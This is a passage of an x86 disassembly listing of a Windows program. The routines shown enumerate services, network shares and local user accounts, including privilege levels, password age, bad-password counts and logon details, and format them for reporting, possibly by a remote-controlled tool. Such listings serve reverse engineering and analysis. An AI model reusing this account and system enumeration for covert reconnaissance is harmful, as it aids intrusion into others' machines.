jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41884C: ; CODE XREF: sub_4187DE+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418856: ; CODE XREF: sub_4187DE+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418885
dec ecx
jz short loc_41887E
dec ecx
jz short loc_418877
dec ecx
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418877: ; CODE XREF: sub_4187DE+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41887E: ; CODE XREF: sub_4187DE+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418885: ; CODE XREF: sub_4187DE+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41888C: ; CODE XREF: sub_4187DE+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418893: ; CODE XREF: sub_4187DE+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F6
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_41894A[ecx]
jmp off_418922[ecx*4] ; switch jump
loc_4188B7: ; DATA XREF: ___:off_418922o
push offset aTheSpecifiedDa ; jumptable 004188B0 case 7
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188BE: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceDepe ; jumptable 004188B0 case 17
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188C5: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceDe_0 ; jumptable 004188B0 case 10
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188CC: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHasB ; jumptable 004188B0 case 0
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188D3: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheSpecified_0 ; jumptable 004188B0 case 2
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188DA: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceCoul ; jumptable 004188B0 case 11
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E1: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHa_0 ; jumptable 004188B0 case 14
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E8: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheRequested_1 ; jumptable 004188B0 case 3
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188EF: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHasN ; jumptable 004188B0 case 4
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188F6: ; CODE XREF: sub_4187DE+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FB: ; CODE XREF: sub_4187DE+41j
; sub_4187DE+4Bj ...
push offset dword_4DB010
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891C
; ---------------------------------------------------------------------------
loc_418909: ; CODE XREF: sub_4187DE+36j
; sub_4187DE+89j ...
push eax ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB010
call sub_41B886
add esp, 0Ch
loc_41891C: ; CODE XREF: sub_4187DE+129j
mov eax, offset dword_4DB010
retn
sub_4187DE endp
; ---------------------------------------------------------------------------
off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r
dd offset loc_4188D3 ; jump table for switch statement
dd offset loc_4188E8
dd offset loc_4188EF
dd offset loc_4188B7
dd offset loc_4188C5
dd offset loc_4188DA
dd offset loc_4188E1
dd offset loc_4188BE
dd offset loc_418909
byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB648
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_418994: ; CODE XREF: sub_41895C+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB614
test eax, eax
jnz short loc_4189CE
nop
call near ptr 26B0857h
cmp eax, 0EAh
jnz loc_418A82
loc_4189CE: ; CODE XREF: sub_41895C+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A79
lea esi, [ebp+var_188]
loc_4189DF: ; CODE XREF: sub_41895C+117j
mov eax, [esi+8]
dec eax
jz short loc_418A28
dec eax
jz short loc_418A21
dec eax
jz short loc_418A1A
dec eax
jz short loc_418A13
dec eax
jz short loc_418A0C
dec eax
jz short loc_418A05
dec eax
jz short loc_4189FE
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_4189FE: ; CODE XREF: sub_41895C+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A05: ; CODE XREF: sub_41895C+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A0C: ; CODE XREF: sub_41895C+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A13: ; CODE XREF: sub_41895C+90j
push offset aRunning ; " Running"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A1A: ; CODE XREF: sub_41895C+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A21: ; CODE XREF: sub_41895C+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A28: ; CODE XREF: sub_41895C+87j
push offset aStopped ; " Stopped"
loc_418A2D: ; CODE XREF: sub_41895C+A0j
; sub_41895C+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DF
loc_418A79: ; CODE XREF: sub_41895C+77j
cmp [ebp+var_8], ebx
jnz loc_418994
loc_418A82: ; CODE XREF: sub_41895C+6Cj
push [ebp+var_C]
call dword_4CB54C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B33
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC2
dec eax
jnz short loc_418B13
push edi
push 0
call sub_418C6C
pop ecx
pop ecx
jmp short loc_418B0F
; ---------------------------------------------------------------------------
loc_418AC2: ; CODE XREF: sub_418A99+18j
cmp [ebp+arg_8], 0
jnz short loc_418B01
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B01
push 57h
pop eax
loc_418AD9: ; CODE XREF: sub_418A99+78j
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB2CC
push off_439090[eax*4]
push offset unk_43973C
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B01: ; CODE XREF: sub_418A99+2Dj
; sub_418A99+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BC0
add esp, 0Ch
loc_418B0F: ; CODE XREF: sub_418A99+27j
test eax, eax
jnz short loc_418AD9
loc_418B13: ; CODE XREF: sub_418A99+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB2CC
push off_439094[eax*4]
push offset dword_439720
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B33: ; CODE XREF: sub_418A99+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB2CC
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset unk_4396FC
push esi
call sub_41B886
add esp, 0Ch
loc_418B53: ; CODE XREF: sub_418A99+66j
; sub_418A99+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A99 endp
; =============== S U B R O U T I N E =======================================
sub_418B59 proc near ; CODE XREF: sub_419E7A+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B66
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B66: ; CODE XREF: sub_418B59+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB4CC, 1
mov ebp, eax
jnz short loc_418BA3
or byte_4DB4CC, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DB26C, eax
loc_418BA3: ; CODE XREF: sub_418B59+32j
push esi
push esi
push ebp
push dword_4DB26C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB26C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep
; sub_41A19E+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov edi, eax
call sub_418C2B
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2B
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB548
pop edi
leave
retn
sub_418BC0 endp
; =============== S U B R O U T I N E =======================================
sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap
; sub_418BC0+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C38
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C38: ; CODE XREF: sub_418C2B+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2B endp
; =============== S U B R O U T I N E =======================================
sub_418C6C proc near ; CODE XREF: sub_418A99+20p
; sub_419E7A+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB520
pop esi
retn
sub_418C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2B
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 18h
loc_418CC8: ; CODE XREF: sub_418C8F+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB598
mov ebx, eax
cmp ebx, esi
jz short loc_418D2B
cmp ebx, 0EAh
jz short loc_418D2B
push ebx
push ebx
call sub_419460
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439788
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 24h
jmp short loc_418D98
; ---------------------------------------------------------------------------
loc_418D2B: ; CODE XREF: sub_418C8F+5Dj
; sub_418C8F+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8F
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D39: ; CODE XREF: sub_418C8F+FCj
push dword ptr [esi+10h]
call dword_4CB53C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D50
mov eax, offset aNo ; "No"
loc_418D50: ; CODE XREF: sub_418C8F+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D39
xor esi, esi
loc_418D8F: ; CODE XREF: sub_418C8F+A2j
push [ebp+var_4]
call dword_4CB6E4
loc_418D98: ; CODE XREF: sub_418C8F+9Aj
cmp ebx, 0EAh
jz loc_418CC8
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E55
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF2
dec eax
jz short loc_418DE7
dec eax
jnz short loc_418E0D
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF7
add esp, 14h
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DE7: ; CODE XREF: sub_418DB0+1Dj
push ebx
push edi
call sub_418ED6
pop ecx
pop ecx
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DF2: ; CODE XREF: sub_418DB0+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E06
push [ebp+arg_8]
push ebx
push edi
call sub_418E7C
add esp, 0Ch
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418E06: ; CODE XREF: sub_418DB0+45j
push 57h
pop eax
loc_418E09: ; CODE XREF: sub_418DB0+35j
; sub_418DB0+40j ...
cmp eax, edi
jnz short loc_418E2D
loc_418E0D: ; CODE XREF: sub_418DB0+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4D0
push off_439094[eax*4]
push offset unk_439840
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418DB0+5Bj
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4D0
push off_439090[eax*4]
push offset unk_439810
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418DB0+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB4D0
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset unk_4397E8
push esi
call sub_41B886
add esp, 0Ch
loc_418E75: ; CODE XREF: sub_418DB0+7Bj
; sub_418DB0+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov edi, eax
call sub_418C2B
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2B
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB52C
pop edi
leave
retn
sub_418E7C endp
; =============== S U B R O U T I N E =======================================
sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push eax
push esi
call dword_4CB51C
pop esi
retn
sub_418ED6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CB6AC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929F
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192DA
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419016
dec eax
jz short loc_41900F
dec eax
jz short loc_419008
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419008: ; CODE XREF: sub_418EF7+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_41900F: ; CODE XREF: sub_418EF7+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419016: ; CODE XREF: sub_418EF7+102j
mov eax, offset aGuest ; "Guest"
loc_41901B: ; CODE XREF: sub_418EF7+10Fj
; sub_418EF7+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CB
; ---------------------------------------------------------------------------
loc_41929F: ; CODE XREF: sub_418EF7+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439860
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A73
add esp, 20h
loc_4192CB: ; CODE XREF: sub_418EF7+3A6j
cmp [ebp+var_4], 0
jz short loc_4192DA
push [ebp+var_4]
call dword_4CB6E4
loc_4192DA: ; CODE XREF: sub_418EF7+40j
; sub_418EF7+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2B
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 18h
loc_41931F: ; CODE XREF: sub_4192E0+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB5B4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419380
cmp eax, 0EAh
jz short loc_419380
push eax
push eax
call sub_419460
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439A50
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 24h
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_419380: ; CODE XREF: sub_4192E0+62j
; sub_4192E0+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940E
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FB
loc_419392: ; CODE XREF: sub_4192E0+EDj
cmp edi, esi
jz short loc_4193D1
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419392
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_4193D1: ; CODE XREF: sub_4192E0+B4j
lea eax, [ebp+var_218]
push offset unk_439A1C
push eax
